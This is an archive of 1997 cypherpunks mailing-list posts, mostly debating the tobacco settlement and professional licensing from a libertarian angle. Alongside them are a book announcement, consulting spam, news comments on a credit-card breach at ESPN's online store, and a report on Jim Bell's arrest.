To: cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <v03102802afeb8158a8d9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:20 PM -0700 7/10/97, Bill Frantz wrote:
>At 9:29 AM -0700 7/10/97, Tim May wrote:
>>(Caveat: My personal and libertarian view is that lawsuits against
>>cigarette companies are wrong and should not be supported in a free
>>society. And lawsuits by various states to "recover health care costs" are
>>especially bogus. By this logic, McDonald's could be sued by California
>>because California paid out more health care benefits to meat-eaters than
>>it did to vegetarians. Utterly bogus.)
>
>It is especially bogus since it is not clear that the government isn't a
>net winner between reduced social security and pension payments, and the
>extra income from tobacco taxes.

And of course the government has been subsidizing tobacco growing for the
last half century (at least).

Even non-libertarians see the absurdity in all this.

(But these same friends and family will cheerfully admit that "there ought
to be a law" banning tobacco. Especially some of those who smoke...they
want the government to pass a law, wave a magic wand, and cure their
smoking habit.)

The only consistent, reasonable, just solution is basically the libertarian
one (note that I am not using the word Libertarian). Namely:

Individual responsibility, free choice, a drastically reduced set of laws,
and end to all subsidies of any and all products, reduced tariffs, and an
end to social engineering through tax and tariff policies and
incentives/disincentives to businesses.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ravi Kalakota <kalakota@uhura.cc.rochester.edu>
Date: Fri, 11 Jul 1997 11:45:10 +0800
To: cypherpunks@toad.com
Subject: Electronic Commerce Book
Message-ID: <199707110332.XAA20016@uhura.cc.rochester.edu>
MIME-Version: 1.0
Content-Type: text/plain




Announcing a new book on Electronic Commerce
--------------------------------------------

Electronic Commerce: A Manager's Guide

by Ravi Kalakota and Andrew Whinston 
--------------------------------------------
ISBN: 0-201-88067-9, softcover, 440 pages, 1997
PUBLISHER: Addison-Wesley (1-800-822-6339)
--------------------------------------------

This book is a manifesto for a new set of managers who seek to reap the elusive
rewards of the online marketspace. This book offers a multitude of real-world
scenarios and lessons for building value and creating the competitive edge. The
book answers strategic questions such as:

- What business models are competitors using in the various industry segments
of e-commerce?

- What are the key management questions that need to be addressed in order to
create an effective buisness online?

- How should companies be organized using Intranets to manage the external
commerce?

If you lead a small startup or work in a Fortune 1000 firm, whether your company
has an established online presence, or is just starting out, The Manager's Guidemay be the most important book you read this year.

Table of Contents:
------------------
1. Introduction to Electronic Commerce

                    Defining Electronic Commerce 
                    Brief History of Electronic Commerce 
                    Forces Fueling Electronic Commerce 
                    Electronic Forces 
                    Marketing and Customer Interaction Forces 
                    Technology and Digital Convergence 
                    Implications of Various Forces 
                    Electronic Commerce Industry Framework 
                    The Information Superhighway 
                    Multimedia Content and Network Publishing 
                    Messaging and Information Distribution 
                    Common Business Services Infrastructure 
                    Other Key Support Layers 
                    Putting the Framework into Action: Microsoft Corporation 
                    Types of Electronic Commerce 
                    Inter-organizational Electronic Commerce 
                    Intra-organizational Electronic Commerce 
                    Consumer-to-Business Electronic Commerce 
                    Intermediaries and Electronic Commerce 
                    Key Questions for Management 
                    Competitive Pressure 
                    External Threat 
                    Incorporating Changes 
                    Designing New Organizational Structures 
                    Managerial Options and Priorities 
                    Summary 

          2. The Internet and the Access Provider Industry

                    Internet Service Providers 
                    Key Market Drivers for the Internet 
                    Who Is Making Money on the Internet 
                    Clarifying Internet Terminology 
                    Companies Providing Internet Access 
                    Internet Topology 
                    Differentiating Market Segments: Commercial versus Consumer 
                    Internet versus Online Services 
                    Open versus Closed Architecture 
                    Controlled Content versus Uncontrolled Content 
                    Metered Pricing versus Flat Pricing 
                    Innovation versus Control 
                    Predicting the Future of the IAP Market 
                    Convergence Leading to Competition 
                    Service and Capacity Management 
                    Customer Service, Loyalty, and Retention 
                    Marketing 
                    Customer Education 
                    Changing Technology behind Internet Access 
                    Changing Technology behind the Access Provider 
                    Summary 

          3. World Wide Web--Applications

                    Brief History of the Web 
                    What Exactly Is the Web? 
                    Why Is the Web Such a Hit? 
                    The Web and Ease of Use 
                    The Web and Ease of Publishing 
                    The Web as a New Distribution Channel 
                    The Web and Network-Centric Computing 
                    The Web and New Intra-Business Applications 
                    The Web and Electronic Commerce 
                    The Web and Intra-Business Commerce 
                    Other Intranet Applications 
                    Intranet Advantages and Disadvantages 
                    Management of Intranets 
                    Understanding the Intranet Architecture 
                    Summary 

          4. World Wide Web--Concepts and Technology

                    Key Concepts behind the Web 
                    Overview of the Web's Technical Architecture 
                    Interactive Web Applications 
                    Interactive Applications 
                    Interactivity and Information Integration 
                    Web Extensions for Interactive Applications 
                    Web and Database Integration 
                    Web Database Products 
                    HTML Forms and CGI Programs 
                    Web Software Developmental Tools 
                    Need for Better Programming Languages 
                    New Programming Language: Java 
                    Technically Speaking: What Exactly Is Java? 
                    Role of Java in Electronic Commerce 
                    How Does Java Work? 
                    Business Reasons for Using Java 
                    Multimedia Web Extensions 
                    Virtual Reality Modeling Language (VRML) 
                    RealAudio 
                    Internet and Web-based Telephony 
                    Directories and Search Engines 
                    Lycos 
                    Summary 

          5. Firewalls and Transaction Security

                    Firewalls and Network Security 
                    Types of Firewalls 
                    Firewall Security Policies 
                    Emerging Firewall Management Issues 
                    Transaction Security 
                    Types of Online Transactions 
                    Requirements for Transaction Security 
                    Encryption and Transaction Security 
                    Secret-Key Encryption 
                    Public-Key Encryption 
                    Implementation and Management Issues 
                    World Wide Web and Security 
                    Netscape's Secure Sockets Layer 
                    Security and Online Web-based Banking 
                    Summary 

          6. Electronic Payment Systems

                    Overview of the Electronic Payment Technology 
                    The Online Shopping Experience 
                    Limitations of Traditional Payment Instruments 
                    Electronic or Digital Cash 
                    Properties of Electronic Cash 
                    Digital Cash in Action 
                    Electronic Checks 
                    Benefits of Electronic Checks 
                    Electronic Checks in Action 
                    NetCheck: A Prototype Electronic Check System 
                    Electronic Check Project 
                    Online Credit Card-Based Systems 
                    Types of Credit Card Payments 
                    Secure Electronic Transactions (SET) 
                    Other Emerging Financial Instruments 
                    Debit Cards at the Point of Sale (POS) 
                    Debit Cards and Electronic Benefits Transfer 
                    Smart Cards 
                    Consumer, Legal, and Business Issues 
                    Summary 

          7. Electronic Commerce and Banking

                    Changing Dynamics in the Banking Industry 
                    Changing Consumer Needs 
                    Cost Reduction 
                    Demographic Trends 
                    Regulatory Reform 
                    Technology-based Financial Services Products 
                    Home Banking History 
                    Why Will It Be Different This Time? 
                    Home Banking Implementation Approaches 
                    Home Banking Using Bank's Proprietary Software 
                    Banking via the PC Using Dial-Up Software 
                    Banking via Online Services 
                    Banking via the Web: Security First Network Bank 
                    Open versus Closed Models 
                    Management Issues in Online Banking 
                    Differentiating Products and Services 
                    Managing Financial Supply Chains 
                    Pricing Issues in Online Banking 
                    Marketing Issues: Attracting Customers 
                    Marketing Issues: Keeping Customers 
                    Back-Office Support for Online Banking 
                    Integrating Telephone Call Centers with the Web 
                    Summary 

          8. Electronic Commerce and Retailing

                    Changing Retail Industry Dynamics 
                    Overbuilding and Excess Capacity 
                    Demographic Changes 
                    Consumer Behavior 
                    Technology Improvements in Electronic Retailing 
                    Online Retailing Success Stories 
                    Online Retailing: Peapod's Experience 
                    CUC International 
                    Wine on the Web: Virtual Vineyards 
                    Web-based Travel Agencies 
                    Mercantile Models from the Consumer's Perspective 
                    Distinct Phases of a Consumer Mercantile Model 
                    Prepurchase Preparation 
                    Purchase Consummation 
                    Postpurchase Interaction 
                    Management Challenges in Online Retailing 
                    Come Up with a Retailing Strategy 
                    Manage Channel Conflict 
                    Learn to Price Online Products/Services 
                    Deliver a Satisfying Shopping Experience 
                    Design the Layout of an Online Store 
                    Manage Brands 
                    Create the Right Incentives 
                    Summary 

          9. Electronic Commerce and Online Publishing

                    Why Online Publishing? 
                    Online Publishing Strategies 
                    Online Publishing Approaches 
                    Full-Text and Bibliographic Databases 
                    Personalized and Customized News 
                    Business Information and News Delivery 
                    Edutainment = Education + Entertainment 
                    Online Publishing Success Stories 
                    PointCasting 
                    Time Warner's Pathfinder 
                    Disney Online 
                    Integrating TV and Data Streams: Intercasting 
                    Advertising and Online Publishing 
                    An Online Publishing Missing Piece: Measurement 
                    Digital Copyrights and Electronic Publishing 
                    Online Copyright Protection Methods 
                    Summary 

          10. Intranets and Supply-Chain Management

                    Supply-Chain Management Fundamentals 
                    Pull versus Push Supply-Chain Models 
                    Elements of Supply-Chain Management 
                    Integrating Functions in a Supply Chain 
                    Managing Retail Supply Chains 
                    The Order Management Cycle (OMC) 
                    Supply-Chain Application Software 
                    Software for Supply-Chain Management 
                    Recent Trends in Application Software 
                    What Is the Business Market? 
                    Understanding the Application Software Architecture 
                    Future of Supply-Chain Software 
                    Intranets and Network-Centric Computing 
                    Intranets and Application Software 
                    Impact of the Web on Application Software 
                    Elaborating on the Intranet Architecture 
                    What Remains to Be Done? 
                    Summary 

          11. Intranets and Customer Asset Management

                    Why Customer Asset Management? 
                    Challenges in Implementing Customer Asset Management 
                    Customer Asset Management and Supply Chains 
                    Online Sales Force Automation 
                    What Is Sales Force Automation? 
                    Elements of Online Sales Automation 
                    Intranets and Sales Automation 
                    What Are the Management Issues? 
                    Online Customer Service and Support 
                    The Web and Customer Service 
                    The Role of Technology in Customer Service 
                    What Are the Business Requirements? 
                    The Enabling Intranet Technology 
                    Technology and Marketing Strategy 
                    Marketing Decision Support Systems 
                    Marketing Decision Support Applications 
                    Summary 

          12. Intranets and Manufacturing

                    Defining the Terminology 
                    Integrated Logistics 
                    Agile Manufacturing 
                    Emerging Business Requirements 
                    Customer-Driven Manufacturing 
                    Rapid Internal Response to Demand Changes 
                    Efficiently Managing Supply Chain Complexity 
                    Manufacturing Information Systems 
                    Discrete versus Process Manufacturing Market 
                    Types of Manufacturing Information Systems 
                    Intranet-Based Manufacturing 
                    Customer-Driven Manufacturing 
                    Real-Time Decision Support 
                    Intelligent Process Management 
                    Logistics Management 
                    Problems with Traditional Logistics Management 
                    Case Study: Microsoft Corp Integrated Logistics 
                    Objective of Modern Logistics Function 
                    Forecasting 
                    Purchasing 
                    Distribution Management 
                    Electronic Data Interchange (EDI) 
                    Benefits of EDI 
                    EDI in Action 
                    Why Has EDI Adoption Lagged? 
                    Summary 

          13. Intranets and Corporate Finance

                    Intranets and Finance 
                    What Exactly Are Financial Systems? 
                    What Do Financial Systems Do? 
                    Financial Intranets 
                    Understanding the Different Software Modules 
                    Transaction Accounting and Electronic Commerce 
                    Financial Analysis and Management Accounting 
                    Inventory Accounting 
                    Payment Management 
                    Treasury and Cash Management 
                    Human Resources Management Systems 
                    HRMS Functions 
                    Size/Structure of Financials Software Market 
                    Product Strategy 
                    Financial Data Warehouses 
                    How Are Firms Using the Web for OLAP? 
                    Desirable Software Requirements 
                    Summary 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 11 Jul 1997 12:02:33 +0800
To: cypherpunks@toad.com
Subject: Re: Hacker cracks ESPN
In-Reply-To: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
Message-ID: <3.0.2.32.19970710234453.006b9ed8@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 08:08 PM 7/10/97 -0700, Alan Olsen wrote:
>
>          Starwave said the credit-card information was in a secure,
>          encrypted area that was accessed by an intruder who had
>          the proper password information. "This was not done by a
>          hacker," said Jennifer Yazzolino, a Starwave spokeswoman.
>          "They knew how to get in to the system and unlawfully used
>          classified information." The area that the intruder broke in to
>          was an order-processing system that sends shoppers'
>          orders from each site to 1-800-PRO-TEAM, a Florida
>          fulfillment company.

Which, in other words, is an attempt to imply that someone "knew" the
password?  Note, however, that their press release does say: "who had the
proper password *information*".


>Following the break-in, Starwave called in the FBI and the U.S.
>Secret Service to investigate.

IMO, they should hire the person.  At least, s/he showed how insecure their
"secure encrypted area" was which was more than their own employees did.


>It has also implemented a new encryption process and
>changed all system passwords.

Good luck, fellas....



*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 11 Jul 1997 15:57:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711004824.00907@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 10, 1997 at 06:36:13PM -0400, Peter Swire wrote:
> At 09:29 AM 7/10/97 -0700, Tim May wrote:
> >I'm not a lawyer, but I am interested in the various ramifications--and the
> >constitutionality--of recent "sweeping contracts" between vendors,
> >lawmakers, consumers, etc.
> >
> >Two recent example:
> >
> >1. The "tobacco agreement." Supposedly a deal involving the transfer of
> >$360 billion from some number of tobacco companies in exchange for dropping
> >of liability suits, immunity from future claims, voluntary restrictions (!)
> >on advertising, etc. (And the "etc." is especially complicated in this huge
> >case.)
> 
>         So far as I know, the agreement has no legal effect until and unless
> a bill is enacted in Congress. Once a bill is enacted, there can obviously
> be far-reaching ramifications.  For instance, an individual's right to sue
> in tort can be cut off.  Punitive damages can be abolished for the defined
> class of suits, etc.
>         If such a bill is enacted, various groups would likely sue on the
> basis that it is unconstitutional.  That's what happened with CDA -- the
> indecency provisions first became law, and then were overturned in the courts.

Hmmm.  I thought the basis was completely different.  I thought the
deal was between legal officials of various states who were mounting
suits against the tobacco companies, and the tobacco companies.  That
is, it is essentially an "out of court" settlement of a civil lawsuit. 

As such, it would indeed not be binding on Tim May's Tobacco Co.  And
there are no particular constitutional issues involved, or free speech
issues, either, come to think of it -- the settlement is just between
the parties of a civil suit.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 11 Jul 1997 15:09:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <3.0.16.19970711030249.330f1554@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:49 PM 7/10/97 -0700, Steve Schear wrote:
...

>What if private citizens decided to place Joe Camel ads in print and TV or
>sponsor an event.  Would they also be constrained in their freedom of
>speech?

That depends on what constrains people. Those with the capital resources
to place TV ads or sponsor events would likely imagine the investigation
from bureaucrats into their connections with the evil weed. Bureaucrats
tend not to assume that liking the first amendment motivates anyone when
compared to the lure of filthy lucre (ample evidence to the contrary
notwithstanding). I can imagine a conversation something like this:

"Ok, let's look into the stock portfolio of this "Steve Schear" guy who
placed the ad that pissed the FDA commissioner off. Any RJR-Nabisco? What
about his family? Hey, call the IRS and see if he's been audited lately,
and plunk his name into that big FBI database CD-ROM we got from the
Whitehouse."

Leaving aside regulations governing TV stations and possible pressures
on event promoters by government, I don't think that private citizens
with the means to do this would have the will.

As an increasingly less-partisan-and-more-anarchistic Libertarian, I
must point out a little-noted aspect of the Democrats' scam (there is
no other word).

(from http://www.washtimes.com/politics/inside.html)
                               Donor guests
        . . . . The Democratic Congressional Campaign Committee
        scheduled a small dinner last night at La Brasserie. Among
        the "donor guests" of the anti-smoking party: Philip
        Morris, R.J. Reynolds and the Tobacco Institute.

What still gets me is the shamelessness of it. This is like N.O.R.M.L.
taking money from pee-test manufacturers (they don't, AFAIK). I know,
"strange bedfellows" and all, but you'd think that they'd wait to dine
privately together until their little public tiff is settled. I guess
they figured that they can count on the media (aside from the Washtimes)
not to call them on it.
JMR

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Fourny<acclivity@interweb.be>
Date: Fri, 11 Jul 1997 03:52:08 +0800
To: <cypherpunks@toad.com>
Subject: Acclivity - A global web of change management
Message-ID: <199707101726.TAA07502@cathedral.interweb.be>
MIME-Version: 1.0
Content-Type: text/plain



acclivity
Apologies for cross-posting
Excuse me if this message does not concern you.

web site: http://www.acclivity-consultants.com
email:acclivity@interweb.be


Dear ,

I am pleased to announce the formation of Acclivity, an international network of independent management consulting practices in fourteen countries in Europe, North America and Africa, specialising in all aspects of corporate transformation.

For corporate executives managing change in the transformation of their business is an increasingly complex task.  How can they manage risk ? How are they to control change and still keep the initiative ? How much creativity should be involved in new projects ?  Will their staff fully participate and cooperate in the changes envisaged ?  Acclivity  has been set up to assist clients, many of whom are international companies and are transforming across national boundaries, to answer these and other questions: and at the same help them master all aspects of the transformation process so leading them towards a more competitive position and profitable future.

Acclivity differentiates itself from its competitors in that all the consultants in the network are senior experienced people whose role is to provide advice and guide the clientUs staff through the various stages of the transformation process. There are no junior consultants and analysts as we believe all the detailed work should be carried out by clientUs staff. All the consultants are used to working in different countries and carrying out cross border assignments.

Together, the Acclivity consultants provide the full range of methodologies used in change management and transformation. From their different backgrounds, they bring the full value of their professional and cultural skills as well as their competencies and creativity to help the client:

7 determine new value proposition for his target markets
7 reengineer his business
7 develop cross-functional organisations
7 transform his strategic and operational processes
7 open his operations to external partners - clients, suppliers and contractors
7 renew his innovation processes, awaken hidden talents, and enhance his creativity and knowhow
7 reshape the culture and values within his business
7 strengthen his human capital
7 restructure  his support  functions: human resources management, finance and accounting, and information systems and technology.

The distinctive added-value offered by our network lies not only in the mastery of these particular methodologies. An effective transformation also requires that the consultant provides assistance in all areas where the organisation has to be mobilised.

In order to secure long-lasting sustainable results each Acclivity assignment is composed of three modules:

7 we lead the executive team through the transformation journey. The use of organisational prototypes, for instance, minimises the business risks. We help management modify its modus operandi so as to provide the opportunity of involving the whole organisation in the change process
7 our own research, observation, and analysis of best practice cases are used as guidelines for the companies change efforts, from strategy definition to detailed implementation of the new organisation
7 finally, we train the change team to innovate, install and implement new structures and systems. In addition we develop a new project management capability which is particularly key to success when radical change is involved. 

I would welcome the opportunity therefore of discussing with you your own tranformation programme to see how we might be able to add value to your own resources.

Yours sincerely,

Marc Fourny
President

web site: http://www.acclivity-consultants.com
email:acclivity@interweb.be





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Fri, 11 Jul 1997 16:14:01 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <199707110306.WAA02784@smoke.suba.com>
Message-ID: <Pine.BSI.3.93.970711033420.25334A-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



Ergotamine relieves migraines by restricting the flow of blood to the
brain. The effects of ingesting large quantities of this substance are
left as an experiment to those for whom a mind isn't such a terrible thing
to waste.

On Thu, 10 Jul 1997, snow wrote:

> 	Ergot, a mold that grows on certain types of Rye or fescue, I forget
> which. This is used to make Ergotamine (imine?) which is used in treatment
> of certain types of migraines. 

-- 
Brian Minder; <stonedog@net-gate.com>
"I've continually said that the biggest problem with secure authentication is
that secure authentication is not possible." --Robert Costner; EFGa.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:05:27 +0800
To: cypherpunks@toad.com
Subject: Re: Hacker cracks ESPN
In-Reply-To: <3.0.2.32.19970710200813.03f1f290@mail.teleport.com>
Message-ID: <69eo0D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen <alan@ctrl-alt-del.com> writes:
>           Two separate but chilling messages were sent to people who
>           purchased items online from ESPNet or the NBA Store this
>           week. The first anonymous E-mail told shoppers they had
>           been the victims of careless security and that their
>           credit-card numbers and addresses were easily available.
>
>           The second message, sent by E-mail and regular mail by the
>           World Wide Web sites' host, Starwave Corp., alerted 2,397
>           online shoppers that their credit-card information might have
>           been misappropriated.

Were these two sites running C2Net's "Stronghold"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:05:05 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102801afeb676790ab@[207.167.93.63]>
Message-ID: <5HFo0D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> A third possibility, and one which deserves a longer essay by someone, is
> the role quasi-private organizations play. To cut to the chase,
> organizations like the American Bar Association, American Medical
> Association, etc.

I think one of the possible scenarios is that all tobacco companies,
present and future, will have to become members of a "private"
self-regulatory organization - sort of like NASD.

> These "guilds" are an interesting case of self-policing where there is no
> option for opting out. (I don't believe it is possible to practice law or
> medicine without approval/licensing from these kinds of
> organizations/guilds.)

It is a CRIME is most jurisdictions.

> Licensing in general is something I think is getting out of hand.

Actually, licensing is a neat idea that leads to more efficient markets.
E.g., New York State licenses plumbers, contractors, barbers, etc; if
you enter into a contract with an unlicensed party for one of these
services, it won't be enforced by the state court. E.g. you can't
sue the unlicensed bricklayer for laying your bricks crooked, and he
can't sue you for not paying. :-) Here the state just says, if you
want our jurisdiction, you play by our rules and you pay a fee.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:06:23 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102802afeb8158a8d9@[207.167.93.63]>
Message-ID: <cyFo0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Individual responsibility, free choice, a drastically reduced set of laws,
> and end to all subsidies of any and all products, reduced tariffs, and an
> end to social engineering through tax and tariff policies and
> incentives/disincentives to businesses.

Freedom to act stupid.

Freedom of religion is the freedom to give one's money to crooks, many
of whom don't believe the nonsense they preach.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 12 Jul 1997 00:38:39 +0800
To: cypherpunks@Algebra.COM
Subject: Jim Bell (FINALLY!) Charged
Message-ID: <Pine.GSO.3.96.970711091911.1678A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Oregonian Friday July 11, 1997 Page B3

Man whose home was raided by IRS agents is charged

A man whose Vancouver home was raided by IRS agents in April has been
charged with two felonies in Tacoma.

James D. Bell was charged Wednesday with interfearing with a federal
officer and using false Social Security numbers.  He has been held without
bail in the Pierce County Jail since his May 18 arrest.

Bell, 38, is scheduled to be arrained July 18 before U.S. Magistrate J.
Kelly Arnold.

However, sources close to the case said Thursday that plea negotiations
are under way and are likely to be concluded before then.

Bell's home was raided and searched April 1 by an IRS task force of 20
agents.

In an affidavit for the search warrant, IRS Special Investigator Jeff
Gordon said that Bell was "directly soliciting others to set up a system
to murder government officials" and that he had devised a plan to
overthrow the government.

At a detention hearing in Tacoma, Arnold ordered Bell held without bail on
both allegations.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 12 Jul 1997 00:41:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <cyFo0D6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970711094129.3237B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 11 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim May <tcmay@got.net> writes:
> > Individual responsibility, free choice, a drastically reduced set of laws,
> > and end to all subsidies of any and all products, reduced tariffs, and an
> > end to social engineering through tax and tariff policies and
> > incentives/disincentives to businesses.
> 
> Freedom to act stupid.
> 
> Freedom of religion is the freedom to give one's money to crooks, many
> of whom don't believe the nonsense they preach.
> 

Yes, Dimitri.  Freedom is also the freedom to act "stupid".  Since
"acting stupid" is a subjective evaluation it implies that one is
allowed to make subjective, individual decisions.   This is as
opposed to having a central authority decide what is and isn't 
stupid -- telling us how to lead more efficient, carefully planned
lives.

Freedom is not necessarily efficient, but it beats the hell out of
whatever comes next.

"Sometimes it is said that man cannot be trusted with the government of
himself. Can he, then, be trusted with the government of others? Or have
we found angels in the form of kings to govern him? Let history answer
this question." --Thomas Jefferson: 1st Inaugural, 1801. 

'Nuf said...

Jim Burnes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Jul 1997 00:00:08 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <3.0.2.32.19970711102559.00699960@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>$360 billion from some number of tobacco companies in exchange for dropping
>of liability suits, immunity from future claims, voluntary restrictions (!)
>on advertising, etc. (And the "etc." is especially complicated in this huge
>case.)

Note that the tobacco agreement was announced the same day as the NYT Net 
Threat story about how a drug culture is thriving unopposed on the Net.  The 
coincidence of these two events suggests what will happen to the Tobacco 
Settlement whether or not it is formally approved.

Just as third party political advertising defeated campaign regulations, I 
expect third party "advertizing" for controversial substances to defeat 
"voluntary" ad bans.

There are already plenty of cigarette sites on the Net and even though "Big 
Tobacco" may try and use copyright law to restrict pro cigarette third party 
"advertizing", those attempts will not succeed very well.  Boutique tobacco 
brands drop shipped from Mexico can play a part as well.  "Death's Head" 
cigarettes are supposed to be selling pretty well in the UK.  Cigarettes and 
cigars are all throughout pop culture these days (Julia Roberts looked good 
chain smoking in "My Best Friend's Wedding") and the authorities don't have 
much of an argument that will be successful against "cool" cigarettes.  The 
more they warn about cigarettes killing you, the cooler they'll seem.  Poor 
Gen X, Y, and Zers lack much of substance to revolt against these days so the 
Health Nazis are supplying a valuable authority figure to serve as the object 
of such a revolt.  

Heroic Mohawk (and other) cigarette smugglers smashed the high Canadian 
tobacco taxes a few years ago.  In a market in which everything is a boutique 
good and anyone with a little cash can put together a whole purchasing, 
production, and distribution chain overnight without actually hiring anyone, 
ordinary entrepreneurs will be able to supply the demand for cigarettes even 
while the Health Nazis think they've accomplished something by gelding "Big 
Tobacco."  They haven't noticed that size doesn't matter much in efficient 
markets. 

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Fri, 11 Jul 1997 22:45:36 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707111431.KAA21954@mail3.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 PM 7/10/97 -0700, Tim May wrote:
>A thoughtful response from Peter Swire.

        Thanks kindly.

>A third possibility, and one which deserves a longer essay by someone, is
>the role quasi-private organizations play. To cut to the chase,
>organizations like the American Bar Association, American Medical
>Association, etc.
>
>These "guilds" are an interesting case of self-policing where there is no
>option for opting out. (I don't believe it is possible to practice law or
>medicine without approval/licensing from these kinds of
>organizations/guilds.)

        You might check out my article on "Markets, Self-Regulation, and
Government Enforcement in the Protection of Personal Information."  Among
other topics, I talk about self-regulation by licensing organizations.  The
piece is posted at my web site.  It is also the lead chapter in a recent
report by the National Telecommunications and Information Administration on
"Self-Regulation and Privacy in the Information Age", on their web site at
http://www.ntia.doc.gov.

        Peter



Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 02:36:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102803afec28f008d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:48 AM -0700 7/11/97, Kent Crispin wrote:
...
>Hmmm.  I thought the basis was completely different.  I thought the
>deal was between legal officials of various states who were mounting
>suits against the tobacco companies, and the tobacco companies.  That
>is, it is essentially an "out of court" settlement of a civil lawsuit.
>
>As such, it would indeed not be binding on Tim May's Tobacco Co.  And
>there are no particular constitutional issues involved, or free speech
>issues, either, come to think of it -- the settlement is just between
>the parties of a civil suit.

